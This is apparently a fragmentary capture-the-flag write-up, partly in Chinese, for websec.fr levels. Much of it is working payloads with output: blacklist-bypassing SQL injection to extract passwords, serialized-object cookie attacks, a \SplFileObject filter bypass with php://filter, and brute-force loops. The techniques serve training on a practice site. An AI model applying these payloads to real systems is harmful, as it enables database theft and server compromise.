ht@TIANJI:/mnt/d/ht-blog$ curl -d "user_id=5 uniounionn seselectlect 1,password frfromom users where id=1&submit=1" https://websec.fr/level02/index.php | grep -Eo "WEBSEC{.*}" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1962 0 1883 100 79 1211 50 0:00:01 0:00:01 --:--:-- 1211 WEBSEC{BecauseBlacklistsAreOftenAgoodIdea}
<?php if(isset($_POST['c'])) { /* Get rid of clever people that put `c[]=bla` * in the request to confuse `password_hash` */ $h2 = password_hash (sha1($_POST['c'], fa1se), PASSWORD_BCRYPT);
echo"<div class='row'>"; if (password_verify (sha1($flag, fa1se), $h2) === true) { echo"<p>Here is your flag: <mark>$flag</mark></p>"; } else { echo"<p>Here is the <em>hash</em> of your flag: <mark>" . sha1($flag, false) . "</mark></p>"; } echo"</div>"; } ?>
ht@TIANJI:/mnt/d/ht-blog$ curl -b "leet_hax0r=TzozOiJTUUwiOjI6e3M6NToicXVlcnkiO3M6NTE6InNlbGVjdCBwYXNzd29yZCBhcyB1c2VybmFtZSBmcm9tIHVzZXJzIHdoZXJlIGlkID0gMSI7czo0OiJjb25uIjtOO30=" https://websec.fr/level04/index.php | grep -Eo "WEBSEC{.*}" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1441 0 1441 0 0 862 0 --:--:-- 0:00:01 --:--:-- 861 WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500}
mysql> select j.3 from (select * from (select 1)a,(select 2)b, (select 3)c union select * from users)j; // 虽然 mysql 支持".3"的语法,最好还是去别名比较好,下文会提到。 +---------+ | 3 | +---------+ | 3 | | admino2 | | admine | +---------+ 3 rows in set (0.00 sec) ------------------------------------------------------------------------------------------------- sqlite> select j.3 from (select * from (select 1)a,(select 2)b, (select 3)c union select * from users)j; // 可以看到 sqlite 不支持 ".3",但是可以取别名的方式 near ".3": syntax error sqlite> select j.x3 from (select * from (select 1 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)j; //给1,2,3分别取别名`x1`,`x2`,`x3`,这里`j.x3`可以替换为`x3`没有问题,因为仅有一列列名为`x3` +---------+ | x3 | +---------+ | flag | | 3 | | admino1 | | admine1 | +---------+ 4 rows in set (0.04 sec)
提取id为1的一行数据。
mysql下:
1 2 3 4 5 6 7
mysql> select x3 from (select * from (select 4 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)j where x1 in (1); +---------+ | x3 | +---------+ | admino2 | +---------+ 1 row in set (0.00 sec)
sqlite下, 由于sqlite不支持right(),hex()函数有所区别,需要另辟蹊径:
1 2 3 4 5 6 7
sqlite> select x3 from (select * from (select 4 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)d where x1 between 1 and 1; +---------+ | x3 | +---------+ | admino1 | +---------+ 1 row in set (0.04 sec)
最终payload:
mysql有效,最开始的payload有些复杂:
1
select id, login from users where id = 5 union select (select 5)g,(select x2 from (select * from (select 1)a,(select 2 x1)b, (select 3 x2)c union select * from users)j where hex(right(x1, 1)) in (hex(111)))f;
改进版:
1
select id, login from users where id = 5 union select (select 5)g,(select x3 from (select * from (select 4 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)j where x1 in (1))f
sqlite有效,一开始,有点复杂,记录一下:
1
select id, login from users where id = 5 union select (select 2)g, (select x2 from (select * from (select 1 as x3)a,(select 2 x1)b, (select 3 x2)c union select * from users)h where x3 between 1 and 1 and length(x1) between 8 and 8)f;
改进版:
1
select id, login from users where id = 5 union select (select 2)g, (select x3 from (select * from (select 4 x1)a,(select 2 x2)b, (select 3 x3)c union select * from users)d where x1 between 1 and 1)f;
99 union select b,c from(select 1 a, 2 b, 3 c where 1 in (4) union select * from users)x where a between 1 and 1
3 union select (WITH RECURSIVE cnt(x,y,z) AS (select * from users) SELECT z FROM cnt where nullif(x,2)),1
select id,login from users where id=9 union select b,c from (select 1 as a,2 as b,3 as c where 1 in (2) union select * from users where id in (1))
null -- using an illegal user id, so that we don't get rows from the original select
union
select 1, c from ( select null, null, null as c -- using any name works, as long as we name the third column from (select 1 where null) -- selecting from an empty table ensures that this part doesn't actually contribute to the join
union
select * from users -- now we can use select *. union renames `password` to `c` where id between 1 and 1 -- again, we want exactly one row. Since we can't use = or -, we use between )
functionsanitize($id, $table){ /* Rock-solid: https://secure.php.net/manual/en/function.is-numeric.php */ if (! is_numeric ($id) or $id < 2) { exit("The id must be numeric, and superior to one."); }
<?php /* Congratulation, you can read this file, but this is not the end of our journey.
- Thanks to cutz for the QA. - Thanks to blotus for finding a (now fixed) weakness in the "encryption" function. - Thanks to nurfed for nagging us about a cheat */
if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') { if ($_SERVER['HTTP_USER_AGENT'] !== $key) { die ("Cheating is bad, m'kay?"); }
$i = 0; $flag = ''; foreach (str_split (base64_decode ($text)) as $letter) { $flag .= chr (ord ($key[$i++]) ^ ord ($letter)); } die ($flag); } ?>
然后还需要获取php.ini中的user-agent。由于路径未知,所以需要其他办法。
虽然过滤了splfileobject, globiterator, filesystemiterator, and directoryiterator,但是可以绕过。
new \SplFileObject("http://39.106.97.201", 1)
绕过原因:
Without any namespace definition, all class and function definitions are placed into the global space - as it was in PHP before namespaces were supported. Prefixing a name with \ will specify that the name is required from the global space even in the context of the namespace.
It's possible to bypass the class filter by using Global namespace, thus we can use \SplFileObject along with a php://filter in order to read the whole file, as in:
curl -sd 'submit=&class=\SplFileObject¶m1=php://filter/convert.base64-encode/resource=index.php¶m2=r' http://websec.fr/level12/index.php | grep -oE '<pre>(.*)</pre>' The page source we get (encoded in base64) contains some php codes that hint at using SSRF to decrypt the $flag with the server's $key = ini_get ('user_agent');, i.e.:
ht@TIANJI:/mnt/d/ht-blog$ curl -b 'obj=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bi%3A1234%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D' https://websec.fr/level18/index.php | grep -Eo "WEBSEC{.*}" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1879 0 1879 0 0 423 0 --:--:-- 0:00:04 --:--:-- 584 WEBSEC{You_have_impressive_refrences._We'll_call_you_back.}
if (isset ($_POST['value']) and ! empty ($_POST['value'])) { /* Add a value twice to remove it from the list. */ if (($key = array_search ($_POST['value'], $data)) !== false) { unset ($data[$key]); } else { /* Else, simply add it. */ array_push ($data, $_POST['value']); } setcookie ('data', base64_encode (serialize ($data))); }
The allowed_classes element of options) is now strictly typed, i.e. if anything other than an array or a boolean is given, unserialize() returns FALSE and issues an E_WARNING.
7.0.0
The options parameter has been added.
5.6.0
Manipulating the serialised data by replacing C: with O: to force object instantiation without calling the constructor will now fail.
classobjimplementsSerializable{ public $data; publicfunction__construct(){ $this->data = "My private data"; } publicfunctionserialize(){ return serialize($this->data); } publicfunctionunserialize($data){ echo'test'; } }
$test = new obj(); echo serialize($test);//输出C:3:"obj":23:{s:15:"My private data";}
var_dump(unserialize('C:3:"obj":23:{s:15:"My private data";}'));//调用unserialize方法,输出test var_dump(unserialize('O:3:"obj":1:{s:4:"data";s:15:"My private data";}'));//抛出了一个Warning,PHP Warning: Erroneous data format for unserializing 'obj'
所以其实这个更新的意思就是说,不能靠修改序列化的数据,在不调用对象构造器的情况下实例化对象。
C:不能改为O:, 但是我们可以尝试将O:改为C:。
测试如下payload:
1
C:4:"Flag":23:{s:15:"My private data";}
可以看到成功反序列化了,仅仅给出了一个Warning。
1 2 3 4 5 6 7 8 9 10 11 12
ht@TIANJI:/mnt/c/Users/HT/Desktop$ php -a Interactive mode enabled php > var_dump(unserialize('C:4:"Flag":23:{s:15:"My private data";}')); PHP Warning: Class __PHP_Incomplete_Class has no unserializer in php shell code on line 1 object(__PHP_Incomplete_Class)#1 (1) { ["__PHP_Incomplete_Class_Name"]=> string(4) "Flag" } php > exit ht@TIANJI:/mnt/c/Users/HT/Desktop$ echo -n 'C:4:"Flag":23:{s:15:"My private data";}' | base64 Qzo0OiJGbGFnIjoyMzp7czoxNToiTXkgcHJpdmF0ZSBkYXRhIjt9
获取flag:
1 2 3 4 5
ht@TIANJI:/mnt/c/Users/HT/Desktop$ curl -b "data=Qzo0OiJGbGFnIjoyMzp7czoxNToiTXkgcHJpdmF0ZSBkYXRhIjt9" https://websec.fr/level20/index.php | grep -Eo "WEBSEC{.*}" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2160 0 2160 0 0 1177 0 --:--:-- 0:00:01 --:--:-- 1177 WEBSEC{CVE-2012-5692_was_a_lof_of_phun_thanks_to_i0n1c_but_this_was_not_the_only_bypass}
for i in {1..1365}; do echo -e "$i: " && \ curl --silent http://websec.fr/level22/index.php?code=%24blacklist%7B$i%7D | \ grep -oP "([\s\S]+)(?:<\/pre>)" done
<?php parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query); foreach ($query as $k => $v) { if (stripos($v, 'flag') !== false) die('You are not allowed to get the flag, sorry :/'); }